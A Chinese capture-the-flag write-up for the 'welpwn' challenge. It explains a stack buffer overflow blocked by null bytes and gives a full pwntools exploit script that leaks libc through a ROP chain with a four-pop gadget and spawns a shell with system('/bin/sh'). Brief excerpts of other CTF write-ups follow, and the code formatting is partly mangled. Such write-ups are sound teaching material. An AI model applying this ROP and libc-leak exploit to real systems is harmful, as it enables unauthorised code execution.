首先用ida檢視
發現主函式不能棧溢位,我們看看echo這個函式
echo會把主函式輸入的字串複製到區域性的s2裡,並且s2只有16位元組,可以造成溢位。echo函式先迴圈複製字元到s2,如果遇到0,就結束複製,然後輸出s2。因此,我們如果想直接覆蓋函式返回位址,那麼我們的目標函式必須沒有引數,否則,我們用p64(…)包裝位址時,必然會出現0。
比如我們的payload為payload = 'a'*0x18 + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
由於是64為包裝,因此payload字串為』a』*0x18 + 『\xa3\x08\x40\x00\x00\x00\x00\x00』 + 『……』
這意味著,payload後面的兩個位址不會被複製到s2,因為前面遇到了0,那麼這樣我們就不能正確呼叫出system(「/bin/sh」)
那麼,我們來分析一下,該如何達到目的
首先,進入echo函式後,棧中資料是這樣的
0000000000000000
0x10位元組資料區
0000000000000000
echo函式棧的ebp
echo函式返回位址
0000000000000000
0x400位元組資料區
0000000000000000
0000000000000000
0000000000000000
0000000000000000
…………….
main函式棧的ebp
假如我們在buf中輸入的0x400個a字元,那麼棧變成這樣了
aaaaaaaa
0x10位元組資料區
aaaaaaaa
aaaaaaaa
aaaaaaaa
aaaaaaaa
0x400位元組資料區
aaaaaaaa
aaaaaaaa
aaaaaaaa
aaaaaaaa
…………….
main函式棧的ebp
因為沒有在中途遇到0,所以echo中的迴圈一直複製buf中的資料到s2中,造成溢位。
現在,假如我們的payload = 'a'*0x18 + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
那麼,棧中的資料變成這樣
aaaaaaaa
0x10位元組資料區
aaaaaaaa
aaaaaaaa
echo函式棧的ebp
pop_rdi_addr
echo函式返回位址
aaaaaaaa
0x400位元組資料區
aaaaaaaa
aaaaaaaa
pop_rdi_addr
binsh_addr
system_addr
main函式棧的ebp
這樣的話,echo執行完後,跳到pop_rdi位址處執行,然而,pop_rdi執行完後,棧頂指標esp指向buf+0x8 ,即aaaaaaaa,這裡不是位址,因此程式崩潰結束。然而,如果,我們在buf+0x8處儲存其他函式位址,也是不可行的,因為該位址是64位,末尾幾位有0,這會導致我們還沒溢位s2就已停止資料複製。
因此,我們有以下總結
buf的前
24位元組不能
存位址資料,只存普通資料。
buf+24
處應該存某一位址,且該位址處有四個
pop指令,和乙個
retn
指令。這樣,四次
pop後,就相當於跳過了
24位元組資料和自己本身
8位元組位址資料。在接下來的位址處,我們就可以寫其他函式。 在
0x40089c
處正好有四個
pop和乙個
假如我們的payload = 'a'*0x18 + p64(pop_24) + p64(pop_rdi) + p64(write_got) + p64(puts_plt) + p64(main_addr)
那麼棧布局如下
aaaaaaaa
0x10位元組資料區
aaaaaaaa
aaaaaaaa
echo函式棧的ebp
pop_24_addr
echo函式返回位址
aaaaaaaa
0x400位元組資料區
aaaaaaaa
aaaaaaaa
pop_24_addr
pop_rdi
write_got
puts_plt
main_addr
main函式棧的ebp
那麼,echo函式執行完以後,跳到pop_24位址處,由於跳轉後,棧頂指標指向buf,出棧4個後,指標指向buf+32 ,接下來遇到retn,出棧乙個元素為(pop_rdi)作為pop_24的返回位址,這樣跳轉到了pop_rdi,後面類似。我們呼叫system 獲取到shell
我們最終的exp指令碼如下:
#coding:utf8
frompwnimport*
fromlibcsearcherimport*
context.log_level =
'debug'
sh = process(
'./pwnh13'
) #sh = remote('111.198.29.45',51867)
elf = elf(
'./pwnh13'
) write_got = elf.got[
'write'
] puts_plt = elf.plt[
'puts'
] #
此處有4
條pop
指令,用於跳過
24位元組
pop_24 = 0x40089c
#pop rdi
的位址,
用來傳參,具體看
x64的傳參方式
pop_rdi = 0x4008a3
sh.recvuntil(
'welcome to rctf\n'
) main_addr = 0x4007cd
#本題的溢位點在
echo
函式裡,
然而,當遇到
0,就停止了資料的複製,因此我們需要
pop_24
來跳過24
個位元組payload =
'a'*0x18 + p64(pop_24) + p64(pop_rdi) + p64(write_got) + p64(puts_plt) + p64(main_addr)
sh.send(payload)
sh.recvuntil(
'\x40'
) #
洩露write
位址write_addr = u64(sh.recv(6).ljust(8,
'\x00'
))
libc = libcsearcher(
'write'
,write_addr) #獲取
libc
載入位址
libc_base = write_addr - libc.dump(
'write'
) #
獲取system
位址system_addr = libc_base + libc.dump(
'system'
) #
獲取/bin/sh
位址binsh_addr = libc_base + libc.dump(
'str_bin_sh'
) sh.recvuntil(
'\n'
) payload =
'a'*0x18 + p64(pop_24) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
sh.send(payload)
sh.interactive()
攻防世界welpwn解題方法
題目很程式很簡單,輸入字串,將遇到 x00前的字元拷貝給s2陣列,如果拷貝數量大於s2在棧上的空間就會發生溢位,可以覆蓋到ret的位置從而控制程式流。需要注意的是覆蓋ret用的位址肯定會包含 x00,因此構造的rop鏈會斷開,所以需要想辦法。解決辦法為通過一串pop ret指令將棧上內容彈出,然後直...
攻防世界PWN之greeting 150題解
首先看一下保護機制 然後我們拖入ida,發現是乙個很簡單的程式。然而,最後的那個printf s 存在格式化字串漏洞,可以造成任意位址的讀寫。首先,我們需要確定我們輸入的資料的相對位置。經過測試,我們需要在前面填充2個字元,然後接下來我們的資料會位於第12個位置 那麼,我們的payload aa p...
攻防世界PWN之dubblesort題解
首先看一下程式的保護機制 保護全開,並且是乙個32位程式 然後,我們用ida分析一下 這裡,有兩個漏洞 第乙個是在呼叫read之前,沒有呼叫memset對 buf清空,因此,buf裡可能之前會有一些殘留的關鍵資料 第二個是,輸入的整數個數沒有上限,可以造成資料溢位,其實也就是棧溢位。我們在read斷...